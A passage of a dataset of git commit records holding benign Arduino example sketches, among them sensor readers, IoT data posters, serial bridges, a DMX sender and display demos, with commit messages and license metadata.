decreased performance.\n\n \/\/ Get indicated altitude:\n \/\/ pressure altitude corrected for non-standard pressure, with altimeter \n \/\/ setting 1015 millibars == 101500 Pascals\n \/\/ For pressure conversions, visit NOAA at: https:\/\/www.weather.gov\/media\/epz\/wxcalc\/pressureConversion.pdf.\n Serial.print(\"Indicated altitude = \");\n Serial.print(barometer.readAltitude(101500));\n Serial.println(\" meters\");\n\n Serial.println();\n}\nvoid loop() {\n printBaroData();\n delay(350);\n}\n","subject":"Add new starting payload program","message":"Add new starting payload program\n","lang":"Arduino","license":"mit","repos":"nolanholden\/geovis,nolanholden\/geovis,nolanholden\/payload-level1-rocket,nolanholden\/geovis"} {"commit":"e68141d20470286c8e56426a8ee51fbb9fb83c16","old_file":"vor-arduino\/YunClient\/YunClient.ino","new_file":"vor-arduino\/YunClient\/YunClient.ino","old_contents":"","new_contents":"\/*\n Yún HTTP Client\n\n This example for the Arduino Yún shows how create a basic\n HTTP client that connects to the internet and downloads\n content. In this case, you'll connect to the Arduino\n website and download a version of the logo as ASCII text.\n\n created by Tom igoe\n May 2013\n\n This example code is in the public domain.\n\n http:\/\/www.arduino.cc\/en\/Tutorial\/HttpClient\n\n *\/\n\n#include \n#include \n\nconst char* msg = \"{\\\"id\\\":\\\"1\\\",\\\"type\\\":\\\"room\\\",\\\"reserved\\\":false,\\\"temperature\\\":10,\\\"light\\\":10,\\\"dioxide\\\":10,\\\"noise\\\":10}\";\n\nvoid setup() {\n \/\/ Bridge takes about two seconds to start up\n \/\/ it can be helpful to use the on-board LED\n \/\/ as an indicator for when it has initialized\n pinMode(13, OUTPUT);\n digitalWrite(13, LOW);\n Bridge.begin();\n digitalWrite(13, HIGH);\n\n Serial.begin(9600);\n\n while (!Serial); \/\/ wait for a serial connection\n}\n\nvoid loop() {\n \/\/ Initialize the client library\n HttpClient client;\n client.setHeader(\"Content-Type: text\/plain\");\n \/\/ Make a HTTP request:\n client.post(\"rubix.futurice.com\/messages\", msg);\n\n \/\/ if there are incoming bytes available\n \/\/ from the server, read them and print them:\n while (client.available()) {\n char c = client.read();\n Serial.print(c);\n }\n Serial.flush();\n\n delay(5000);\n}\n\n\n","subject":"Add HTTP POST for Arduino Yun.","message":"Add HTTP POST for Arduino Yun.\n","lang":"Arduino","license":"mit","repos":"futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor"} {"commit":"b39e3f48018197350d450033d540fad6412c1f52","old_file":"src\/iButton_reader.ino","new_file":"src\/iButton_reader.ino","old_contents":"","new_contents":"#include \n#include \n\n\/\/ This is the pin with the 1-Wire bus on it\nOneWire ds(PIN_D0);\n\n\/\/ unique serial number read from the key\nbyte addr[8];\n\n\/\/ poll delay (I think 750ms is a magic number for iButton)\nint del = 1000;\n\n\/\/ Teensy 2.0 has an LED on port 11\nint ledpin = 11;\n\n\/\/ number of values stored in EEPROM\nbyte n = 0;\n\nvoid setup() {\n Serial.begin(9600);\n \n \/\/ wait for serial\n pinMode(ledpin, OUTPUT);\n digitalWrite(ledpin, HIGH);\n while (!Serial.dtr()) {};\n digitalWrite(ledpin, LOW);\n \n \/\/ Dump EEPROM to serial\n n = EEPROM.read(0);\n Serial.print(n, DEC); Serial.println(\" keys stored:\");\n \n int i, j;\n for(i=0; i\n#include \n\n\/\/ OUT pin on PIR sensor connected to digital pin 2\n\/\/ (any other digital pin will do, just change the value below)\n#define PIRSensorPin 2\n\nPIR myPIR(PIRSensorPin);\n\nvoid setup() {\n myPIR.begin();\n}\n\nvoid loop() {\n\n if(myPIR.getStatus()) {\n Serial.println(\"Movement detected\");\n \n \/\/ do something else at least for the delay between two seccessive\n \/\/ readings\n delay(myPIR.getDurationDelay());\n }\n else\n Serial.println(\"Nothing being detected...\");\n}\n","subject":"Test program for PIR module","message":"Test program for PIR module","lang":"Arduino","license":"bsd-3-clause","repos":"maczinga\/ASOM,ilFuria\/ASOM,ilFuria\/ASOM,maczinga\/ASOM"} {"commit":"4003f73f7f3c7f882d34ed27b24a80c325cfbf25","old_file":"arduino\/serial_server\/serial_server.ino","new_file":"arduino\/serial_server\/serial_server.ino","old_contents":"","new_contents":"\/***************************************************\n Simple serial server\n****************************************************\/\n\n\/\/serial\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\nvoid setup(){\n \/\/delay(100); \/\/wait for bus to stabalise\n \/\/ serial\n Serial.begin(9600);\n \/\/ reserve 200 bytes for the inputString:\n inputString.reserve(200);\n}\n\nvoid loop(){\n \/\/ print the string when a newline arrives:\n if (stringComplete) {\n Serial.println(inputString);\n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n}\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n }\n }\n}\n","subject":"Add arduino code to work with the serial_test","message":"Add arduino code to work with the serial_test\n","lang":"Arduino","license":"apache-2.0","repos":"Pitchless\/arceye,Pitchless\/arceye"} {"commit":"32877c5c7c19194343cdb955127a29928005ee41","old_file":"arduino\/uno\/002_blinky_with_timer1_ovf\/002_blinky_with_timer1_ovf.ino","new_file":"arduino\/uno\/002_blinky_with_timer1_ovf\/002_blinky_with_timer1_ovf.ino","old_contents":"","new_contents":"\/**\n * Copyright (c) 2019, Łukasz Marcin Podkalicki \n * ArduinoUno\/001\n * Blinky with timer1 OVF.\n *\/\n\n#define LED_PIN (13)\n#define TIMER_TCNT (57723) \/\/ 65536 - 16MHz\/1024\/2\n\nvoid setup() {\n pinMode(LED_PIN, OUTPUT); \/\/ set LED pin as output\n TCCR1A = 0;\n TCCR1B = _BV(CS12)|_BV(CS10); \/\/ set Timer1 prescaler to 1024\n TIMSK1 |= _BV(TOIE1); \/\/ enable Timer1 overflow interrupt\n TCNT1 = TIMER_TCNT; \/\/ reload timer counter\n}\n\nvoid loop() {\n \/\/ do nothing\n}\n\nISR(TIMER1_OVF_vect) {\n TCNT1 = TIMER_TCNT; \/\/ reload timer counter\n digitalWrite(LED_PIN, !digitalRead(LED_PIN)); \/\/ Toggle LED pin\n}\n\n","subject":"Add next Arduino example - blinky with Timer1 OVF.","message":"Add next Arduino example - blinky with Timer1 OVF.\n","lang":"Arduino","license":"bsd-3-clause","repos":"lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog"} {"commit":"cfdb1ea52de1889cd6aeb4a10498e46c7a16ddc6","old_file":"night_sensor\/night_feature_arduino_testbed.ino","new_file":"night_sensor\/night_feature_arduino_testbed.ino","old_contents":"","new_contents":"\"\"\"\n@author: Sze 'Ron' Chau\n@source: https:\/\/github.com\/wodiesan\/senior_design_spring\n@Desc: Adafruit Analog Light Sensor, modified by Ron Chau.\n\n 1. Connect sensor output to Analog Pin 0\n 2. Connect 5v to VCC and GND to GND\n 3. Connect 3.3v to the AREF pin \n\"\"\"\n \nint led1 = 2; \/\/ LED connected to digital pin 2\nint led2 = 3; \/\/ LED connected to digital pin 3\nint led3 = 4; \/\/ LED connected to digital pin 4\nint sensorPin = A0; \/\/ select the input pin for the potentiometer\n \nfloat rawRange = 1024; \/\/ 3.3v\nfloat logRange = 5.0; \/\/ 3.3v = 10^5 lux\n\n\/\/ Random value chosen to test light sensing feature.\nfloat lightLimit = 600;\n\nvoid setup() \n{\n analogReference(EXTERNAL); \/\/\n Serial.begin(9600);\n Serial.println(\"Adafruit Analog Light Sensor Test\");\n \n \/\/LEF pins\n pinMode(led1, OUTPUT);\n pinMode(led2, OUTPUT);\n pinMode(led3, OUTPUT);\n}\n \nvoid loop() \n{\n \/\/ read the raw value from the sensor:\n int rawValue = analogRead(sensorPin); \n Serial.print(\"Raw = \");\n Serial.print(rawValue);\n Serial.print(\" - Lux = \");\n \n Serial.println(RawToLux(rawValue));\n\n \/\/ LEDS on if rawValue greater or equal.\n if(rawValue <= 400){\n digitalWrite(led1, HIGH); \/\/ LED on\n digitalWrite(led2, HIGH); \n digitalWrite(led3, HIGH); \n }\n else{\n digitalWrite(led1, LOW); \/\/ LEDs off\n digitalWrite(led2, LOW); \n digitalWrite(led3, LOW); \n } \n delay(1000);\n \n}\n \nfloat RawToLux(int raw)\n{\n float logLux = raw * logRange \/ rawRange;\n return pow(10, logLux);\n}","subject":"Add basic GA1A12S202 light sensor Arduino testbed.","message":"Add basic GA1A12S202 light sensor Arduino testbed.\n","lang":"Arduino","license":"mit","repos":"wodiesan\/senior_design_spring"} {"commit":"264556b335e9df7a367a57be814a649b3362c744","old_file":"examples\/More\/PrintAllVirtual\/PrintAllVirtual.ino","new_file":"examples\/More\/PrintAllVirtual\/PrintAllVirtual.ino","old_contents":"","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This sketch prints all virtual pin operations!\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial\n#include \n#include \n#include \n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n Serial.begin(9600); \/\/ See the connection status in Serial Monitor\n Blynk.begin(auth);\n}\n\n\/\/ This is called for all virtual pins, that don't have BLYNK_WRITE handler\nBLYNK_WRITE_DEFAULT() {\n BLYNK_LOG(\"V%d input: \", request.pin);\n \/\/ Print all parameter values\n for (auto i = param.begin(); i < param.end(); ++i) {\n BLYNK_LOG(\"* %s\", i.asString());\n }\n}\n\n\/\/ This is called for all virtual pins, that don't have BLYNK_READ handler\nBLYNK_READ_DEFAULT() {\n \/\/ Generate random response\n int val = random(0, 100);\n BLYNK_LOG(\"V%d output: %d\", request.pin, val);\n Blynk.virtualWrite(request.pin, val);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","subject":"Print all virtual data example","message":"Print all virtual data example\n","lang":"Arduino","license":"mit","repos":"ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library"} {"commit":"bb640b987aa5898e00f16f5c86752ee70a1f8c83","old_file":"Tests\/webClient\/webClient.ino","new_file":"Tests\/webClient\/webClient.ino","old_contents":"","new_contents":"\/\/ Demo using DHCP and DNS to perform a web client request.\n\/\/ 2011-06-08 http:\/\/opensource.org\/licenses\/mit-license.php\n\n#include \n\n\/\/ ethernet interface mac address, must be unique on the LAN\nstatic byte mymac[] = { 0x74,0x69,0x69,0x2D,0x30,0x31 };\n\nbyte Ethernet::buffer[600];\nstatic uint32_t timer;\n\nconst char website[] PROGMEM = \"www.sweeparis.com\";\n\n\/\/ called when the client request is complete\nstatic void my_callback (byte status, word off, word len) {\n Serial.println(\">>>\");\n Serial.print(off);Serial.print(\"\/\");Serial.print(len);Serial.print(\">>>\");\n Ethernet::buffer[min(699, off + len)] = 0;\n Serial.print((const char*) Ethernet::buffer + off);\n Serial.println(\"...\");\n}\n\nvoid setup () {\n Serial.begin(57600);\n Serial.println(F(\"\\n[webClient]\"));\n\n if (ether.begin(sizeof Ethernet::buffer, mymac) == 0) \n Serial.println(F(\"Failed to access Ethernet controller\"));\n if (!ether.dhcpSetup())\n Serial.println(F(\"DHCP failed\"));\n\n ether.printIp(\"IP: \", ether.myip);\n ether.printIp(\"GW: \", ether.gwip); \n ether.printIp(\"DNS: \", ether.dnsip); \n\n if (!ether.dnsLookup(website))\n Serial.println(\"DNS failed\");\n \n ether.printIp(\"SRV: \", ether.hisip);\n}\n\nvoid loop () {\n ether.packetLoop(ether.packetReceive());\n \n delay(100);\n \n if (millis() > timer) {\n timer = millis() + 10000;\n Serial.println();\n Serial.print(\"<<< REQ \");\n ether.browseUrl(PSTR(\"\/riot-server\/\"), \"\", website, my_callback);\n }\n}\n","subject":"Add tests for web client","message":"Add tests for web client\n","lang":"Arduino","license":"mit","repos":"totothekiller\/weather-station,totothekiller\/weather-station"} {"commit":"10407c036751bad172a50bc5df6a2ea9945b73c9","old_file":"Examples\/findBaudTest\/findBaudTest.ino","new_file":"Examples\/findBaudTest\/findBaudTest.ino","old_contents":"","new_contents":"\/*\n * findBaudTest - Test all supported baud settings\n *\n * The progress and results are printed to Serial, so open the 'Serial\n * Montitor'.\n *\n * The progress and results will be easier to read if you disable the\n * debugging (comment out or delete the \"#define DEBUG_HC05\" line in\n * HC05.h.\n *\/\n#include \n#include \"HC05.h\"\n\n#ifdef HC05_SOFTWARE_SERIAL\n#include \nHC05 btSerial = HC05(A2, A5, A3, A4); \/\/ cmd, state, rx, tx\n#else\nHC05 btSerial = HC05(3, 2); \/\/ cmd, state\n#endif\n\nvoid setup()\n{\n DEBUG_BEGIN(57600);\n Serial.begin(57600);\n btSerial.findBaud();\n btSerial.setBaud(4800);\n Serial.println(\"---------- Starting test ----------\");\n}\n\nvoid loop()\n{\n int numTests = 0;\n int failed = 0;\n unsigned long rate = 0;\n unsigned long rates[] = {4800,9600,19200,38400,57600,115200};\n\n for (int i = 0; i < 6; i++)\n {\n for (int j = 0; j < 6; j++)\n {\n numTests++;\n Serial.print(rates[i]);\n btSerial.setBaud(rates[i]);\n rate = btSerial.findBaud();\n if (rate != rates[i])\n {\n Serial.print(\" FAILED: found rate \");\n Serial.println(rate);\n failed++;\n }\n else\n {\n Serial.print(\"->\");\n Serial.print(rates[j]);\n btSerial.setBaud(rates[j]);\n rate = btSerial.findBaud();\n if (rate != rates[j])\n {\n Serial.print(\"FAILED: found rate \");\n Serial.println(rate);\n failed++;\n }\n else\n {\n Serial.println(\" PASSED\");\n }\n }\n }\n }\n\n Serial.println(\"--------- Tests Complete ----------\");\n Serial.print(\"Results: \");\n Serial.print(failed);\n Serial.print(\" of \");\n Serial.print(numTests);\n Serial.println(\" tests failed.\");\n\n while (true)\n {\n ;\n }\n}\n","subject":"Add example of setbaud and findbaud","message":"Add example of setbaud and findbaud\n\nOn branch parityAndStopBits\nnew file: Examples\/findBaudTest\/findBaudTest.ino\n","lang":"Arduino","license":"mit","repos":"jdunmire\/HC05"} {"commit":"d40ecb0c0de30b1b7b5160ca8d0d7dd3aec5ed65","old_file":"arduino\/BLEDigitalPot\/BLEDigitalPot.ino","new_file":"arduino\/BLEDigitalPot\/BLEDigitalPot.ino","old_contents":"","new_contents":"\/*\n Digital Potentiometer control over BLE\n\n MCP4110 digital Pots SPI interface\n*\/\n\n\n\/\/ inslude the SPI library:\n#include \n#include \n\nSoftwareSerial bleSerial(2, 3); \/\/ RX, TX\n\n\/\/ set pot select pin\nconst int potSS = 10;\n\n\/\/const int potWriteCmd = B00100011;\nconst int potWriteCmd = B00010011;\n\nvoid setup() {\n \/\/ set output pins:\n pinMode(potSS, OUTPUT);\n\n \/\/ initialize SPI:\n SPI.begin();\n\n\n\n \/\/initialize serial port for logs\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n\n bleSerial.begin(9600);\n\/\/ digitalPotWrite(0);\n}\n\n\n\nvoid loop() {\n \/\/ \/\/test\n \/\/ digitalPotWrite(pot1SS,36);\n \/\/ delay(100);\n \/\/ Wire.readByte();\n\n if (bleSerial.available()) {\n int val = bleSerial.read();\n Serial.write(\"value = \");\n Serial.print(val,DEC);\n digitalPotWrite(val);\n }\n \n if (Serial.available()) {\n bleSerial.write(Serial.read());\n }\n\n}\n\n\n\n\nvoid digitalPotWrite(int value) {\n \/\/ put the SS pin to low in order to select the chip:\n digitalWrite(potSS, LOW);\n\n SPI.transfer(potWriteCmd);\n SPI.transfer(value);\n\n \/\/ put the SS pin to high for transfering the data\n digitalWrite(potSS, HIGH);\n}\n\n\n","subject":"Add simple program that sets the first recived byte by BLE and write in the pot","message":"Add simple program that sets the first recived byte by BLE and write in the pot\n","lang":"Arduino","license":"apache-2.0","repos":"kikermo\/PotsOverBLE"} {"commit":"8895e7344467860c17b634cbe62e71cec4dae6b2","old_file":"examples\/GSM-Serial\/GSM-Serial.ino","new_file":"examples\/GSM-Serial\/GSM-Serial.ino","old_contents":"","new_contents":"#include \n\nSoftwareSerial SSerial(10, 11);\n\nvoid setup(void) {\n Serial.begin(9600);\n SSerial.begin(9600);\n}\n\nvoid loop(void) {\n if (Serial.available() > 0) {\n SSerial.write(Serial.read());\n }\n if (SSerial.available() > 0) {\n Serial.write(SSerial.read());\n }\n}\n\n","subject":"Add GSM Serial for testing AT Command","message":"Add GSM Serial for testing AT Command\n","lang":"Arduino","license":"mit","repos":"Atnic\/GSM-library"} {"commit":"b67382758740b149603d25df774c1699e8859ebb","old_file":"examples\/Time\/CosaSince\/CosaSince.ino","new_file":"examples\/Time\/CosaSince\/CosaSince.ino","old_contents":"","new_contents":"\/**\n * @file CosaSince.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2015, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * @section Description\n * Verify Watchdog::since() and RTC::since() wrap-around behavior.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/RTC.hh\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/OutputPin.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n\nOutputPin led(Board::LED);\n\n\/\/ Start time in milli-seconds\nconst uint32_t START = 0xfffff000UL;\n\nvoid setup()\n{\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaSince: started\"));\n trace.flush();\n\n \/\/ Start timers. Use RTC::delay()\n Watchdog::begin();\n RTC::begin();\n\n \/\/ Set timers to the start time\n Watchdog::millis(START);\n RTC::millis(START);\n}\n\nvoid loop()\n{\n led.on();\n uint32_t rms = RTC::millis();\n uint32_t wms = Watchdog::millis();\n uint32_t wsd = Watchdog::since(START);\n uint32_t rsd = RTC::since(START);\n int32_t diff = wsd - rsd;\n\n trace << RTC::seconds() << ':'\n\t<< rms << ':'\n\t<< wms << ':'\n\t<< rsd << ':'\n\t<< wsd << ':'\n\t<< diff << ':'\n\t<< diff \/ Watchdog::ms_per_tick()\n\t<< endl;\n\n delay(1000 - RTC::since(rms));\n led.off();\n\n delay(1000);\n}\n\n","subject":"Add sketch to verify Watchdog\/RTC::since() behavior.","message":"Add sketch to verify Watchdog\/RTC::since() behavior.\n","lang":"Arduino","license":"lgpl-2.1","repos":"dansut\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa"} {"commit":"5bf376b143af61a9ada7fa510535659383ecbcb7","old_file":"posttodatasparkfun\/posttodatasparkfun.ino","new_file":"posttodatasparkfun\/posttodatasparkfun.ino","old_contents":"","new_contents":"#include \"DHT.h\"\n#define DHTPIN 2 \/\/ what pin we're connected to\n\n\/\/ Uncomment whatever type you're using!\n#define DHTTYPE DHT11 \/\/ DHT 11\n\/\/#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\n\/\/#define DHTTYPE DHT21 \/\/ DHT 21 (AM2301)\n\n\n\/\/ Connect pin 1 (on the left) of the sensor to +5V\n\/\/ NOTE: If using a board with 3.3V logic like an Arduino Due connect pin 1\n\/\/ to 3.3V instead of 5V!\n\/\/ Connect pin 2 of the sensor to whatever your DHTPIN is\n\/\/ Connect pin 4 (on the right) of the sensor to GROUND\n\/\/ Connect a 10K resistor from pin 2 (data) to pin 1 (power) of the sensor\n\n\/\/ Initialize DHT sensor for normal 16mhz Arduino\nDHT dht(DHTPIN, DHTTYPE);\n\n\/\/ Phant arduino lib\n\/\/ git clone https:\/\/github.com\/sparkfun\/phant-arduino ~\/sketchbook\/libraries\/Phant\n#include \n\n\/\/ Arduino example stream\n\/\/ http:\/\/data.sparkfun.com\/streams\/VGb2Y1jD4VIxjX3x196z\n\/\/ hostname, public key, private key\nPhant phant(\"data.sparkfun.com\", \"VGb2Y1jD4VIxjX3x196z\", \"9YBaDk6yeMtNErDNq4YM\");\n\n#include \n\nbyte mymac[] = { 0x74,0x69,0x69,0x2D,0x30,0x31 };\nbyte Ethernet::buffer[700];\nStash stash;\nconst char website[] PROGMEM = \"google.com\";\n\nvoid setup() {\n Serial.begin(9600);\n dht.begin();\n\n if (ether.begin(sizeof Ethernet::buffer, mymac) == 0)\n Serial.println(F(\"Failed to access Ethernet controller\"));\n if (!ether.dhcpSetup())\n Serial.println(F(\"DHCP failed\"));\n\n ether.printIp(\"IP: \", ether.myip);\n ether.printIp(\"GW: \", ether.gwip);\n ether.printIp(\"DNS: \", ether.dnsip);\n if (!ether.dnsLookup(website))\n Serial.println(F(\"DNS failed\"));\n\n Serial.println(\"Setup completed\");\n\n}\n\nvoid loop() {\n\n \/\/ Reading temperature or humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (its a very slow sensor)\n float h = dht.readHumidity();\n \/\/ Read temperature as Celsius\n float t = dht.readTemperature();\n\n phant.add(\"humidity\", h);\n phant.add(\"temperature\", t);\n\n Serial.println(\"Sending data...\");\n byte sd = stash.create();\n stash.println(phant.post());\n stash.save();\n ether.tcpSend();\n\n \/\/ Wait a few seconds between measurements.\n delay(10000);\n}\n","subject":"Add example of Iot device that posts to data.sparkfun.com","message":"Add example of Iot device that posts to data.sparkfun.com\n","lang":"Arduino","license":"mit","repos":"JanKlopper\/IoTv1"} {"commit":"0de90038405c886e3bb49b9b223c3067e346cf23","old_file":"Functionality\/SetupTemplate\/SetupTemplate\/SetupTemplate.ino","new_file":"Functionality\/SetupTemplate\/SetupTemplate\/SetupTemplate.ino","old_contents":"","new_contents":"\/\/Skript for testing the input-values of the arduino by displaying values in the serial monitor\n\nint delayTime = 4000; \nint buttonState = 0;\n\nint piezo = A0;\nint photo = A1;\nint poti = A2;\nint switchBtn = 11;\nint buttonBtn = 12;\nint extFlash = 8;\nint camTrigger = 9;\nint camFocus = 10;\n\nint piezoValue = 0;\nint photoValue = 0;\nint potiValue = 0;\nint btnState = 0;\nint switchState = 0;\n\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(piezo, INPUT); pinMode(photo, INPUT); pinMode(poti, INPUT); pinMode(switchBtn, INPUT);\n pinMode(buttonBtn, INPUT); pinMode(extFlash, OUTPUT); pinMode(camTrigger, OUTPUT); pinMode(camFocus, OUTPUT);\n}\n\nvoid loop()\n{\n if(readSensors() == true)\n {\n takePicture();\n }\n delay(delayTime); \n}\n\nint readSensors()\n{\npiezoValue = analogRead(piezo);\nphotoValue = analogRead(photo);\npotiValue = analogRead(poti);\n\nbtnState = digitalRead(buttonBtn);\nswitchState = digitalRead(switchBtn);\n\nSerial.print(\"Piezo-Wert : \");Serial.println(piezoValue);\nSerial.print(\"Photo-Resistor : \");Serial.println(photoValue);\nSerial.print(\"Potentiometer : \");Serial.println(potiValue);\nSerial.print(\"Taster : \");Serial.println(btnState);\nSerial.print(\"Schalter : \");Serial.println(switchState);\nSerial.println(\" \");\nreturn(true);\n}\n\nvoid takePicture()\n{\n\/\/ do stuff here\n}\n","subject":"Test input values by displaying in the serial monitor","message":"Test input values by displaying in the serial monitor\n","lang":"Arduino","license":"mit","repos":"jeroendoggen\/Arduino-Interactive"} {"commit":"458548a18a6793397dbe44e714908987e7c12890","old_file":"examples\/TeensyDMXSend\/TeensyDMXSend.ino","new_file":"examples\/TeensyDMXSend\/TeensyDMXSend.ino","old_contents":"","new_contents":"#include \n\n#define DMX_REDE 2\n\nbyte DMXVal[] = {50};\n\n\/\/ This isn't required for DMX sending, but the code currently requires it.\nstruct RDMINIT rdmData {\n \"TeensyDMX v0.1\",\n \"Teensyduino\",\n 1, \/\/ Device ID\n \"DMX Node\",\n 1, \/\/ The DMX footprint\n 0, \/\/ The DMX startAddress - only used for RDM\n 0, \/\/ Additional commands length for RDM\n 0 \/\/ Definition of additional commands\n};\n\nTeensyDmx Dmx(Serial1, &rdmData, DMX_REDE);\n\nvoid setup() {\n Dmx.setMode(TeensyDmx::DMX_OUT);\n}\n\nvoid loop() {\n Dmx.setChannels(0,DMXVal,1);\n Dmx.loop();\n}\n","subject":"Add a DMX send example","message":"Add a DMX send example\n","lang":"Arduino","license":"mit","repos":"chrisstaite\/TeensyDmx,chrisstaite\/TeensyDmx,chrisstaite\/TeensyDmx"} {"commit":"c020d269faca9397c96a60c15ff555f8675e17bf","old_file":"arduino\/interrupt_test\/interrupt_test.ino","new_file":"arduino\/interrupt_test\/interrupt_test.ino","old_contents":"","new_contents":"\/****************************************************************************************************************************\\\n *\n * Arduino interrupt tests, as simple and understandable as possible.\n * © Aapo Rista 2017, MIT license\n * Tested with Wemos ESP8266 D1 Mini PRO\n * https:\/\/www.wemos.cc\/product\/d1-mini-pro.html\n *\n\\*************************************************************************************************************************\/\n\n\/\/ const byte interruptPin = 2; \/\/ D4 on Wemos ESP8266\nconst byte interruptPin = D4; \/\/ If the board is correctly set in Arduino IDE, you can use D1, D2 etc. directly\nvolatile byte interruptCounter = 0;\nint numberOfInterrupts = 0;\nint state = 0;\n \nvoid setup() {\n Serial.begin(115200);\n Serial.println();\n Serial.println(\"Start\");\n \/\/ pinMode(interruptPin, INPUT_PULLUP);\n \/\/ Only one interrupt type can be attached to a GPIO pin at a time\n \/\/ attachInterrupt(digitalPinToInterrupt(interruptPin), handleInterrupt, FALLING); \n \/\/ attachInterrupt(digitalPinToInterrupt(interruptPin), handleInterrupt, RISING); \n attachInterrupt(digitalPinToInterrupt(interruptPin), handleInterrupt, CHANGE);\n}\n \nvoid handleInterrupt() {\n interruptCounter++;\n state = digitalRead(interruptPin);\n}\n \nvoid loop() {\n \n if(interruptCounter>0){\n \n interruptCounter--;\n numberOfInterrupts++;\n \n Serial.print(\"Interrupt \");\n if (state == 1) {\n Serial.print(\" RISING\");\n } else {\n Serial.print(\"FALLING\");\n }\n Serial.print(\" at \");\n Serial.print(millis());\n Serial.print(\" ms uptime. Total: \"); \n Serial.println(numberOfInterrupts);\n }\n \n}\n","subject":"Add simple interrupt test script","message":"Add simple interrupt test script\n","lang":"Arduino","license":"mit","repos":"aapris\/CernWall,aapris\/CernWall"} {"commit":"ec9a34623ee52a752b5cd67c2c83af1aaaf44960","old_file":"AL_ILI9341\/examples\/DrawTextWithScale\/DrawTextWithScale.ino","new_file":"AL_ILI9341\/examples\/DrawTextWithScale\/DrawTextWithScale.ino","old_contents":"","new_contents":"#include \"AL_ILI9341.h\"\r\n#include \"AL_Font.h\"\r\n\r\n\/\/ Wiring\r\n#define TFT_PORT PORTF\r\n#define TFT_PIN PINF\r\n#define TFT_DDR DDRF\r\n#define TFT_RST A12\r\n#define TFT_CS A11\r\n#define TFT_RS A10\r\n#define TFT_WR A9\r\n#define TFT_RD A8\r\n\r\nAL_ILI9341 tft(\r\n &TFT_PORT, &TFT_PIN, &TFT_DDR,\r\n TFT_RST, TFT_CS, TFT_RS, TFT_WR, TFT_RD);\r\n\r\nAL_RgbColor backColor{255, 255, 255};\r\nAL_RgbColor text1Color{255, 0, 0};\r\nAL_RgbColor text2Color{0, 255, 0};\r\nAL_RgbColor text3Color{0, 0, 255};\r\nAL_RgbColor text4Color{0, 255, 255};\r\nAL_RgbColor text5Color{255, 255, 0};\r\n\r\nvoid setup()\r\n{\r\n tft.setup();\r\n tft.setOrientation(AL_SO_LANDSCAPE2);\r\n tft.fillRect(0, 0, tft.getWidth(), tft.getHeight(), backColor);\r\n\r\n tft.drawText(10, 10, text1Color, backColor, 1, \"hello\");\r\n tft.drawText(10, 26, text2Color, backColor, 2, \"hello\");\r\n tft.drawText(10, 58, text3Color, backColor, 3, \"hello\");\r\n tft.drawText(10, 106, text4Color, backColor, 4, \"hello\");\r\n tft.drawText(10, 170, text5Color, backColor, 5, \"hello\");\r\n}\r\n\r\nvoid loop()\r\n{\r\n}","subject":"Add draw text with scale example.","message":"Add draw text with scale example.\n","lang":"Arduino","license":"mit","repos":"anders-liu\/arduino-libs,anders-liu\/arduino-libs"} {"commit":"51e3e5cfd4065f8b6e64c072124e4aa4156d7e5c","old_file":"experiments\/NewPing4Sensors\/NewPing4Sensors.ino","new_file":"experiments\/NewPing4Sensors\/NewPing4Sensors.ino","old_contents":"","new_contents":"\n#include \n\n#define SONAR_NUM 4 \/\/ Number or sensors.\n#define MAX_DISTANCE 200 \/\/ Maximum distance (in cm) to ping.\n#define PING_INTERVAL 33 \/\/ Milliseconds between sensor pings (29ms is about the min to avoid cross-sensor echo).\n\nunsigned long pingTimer[SONAR_NUM]; \/\/ 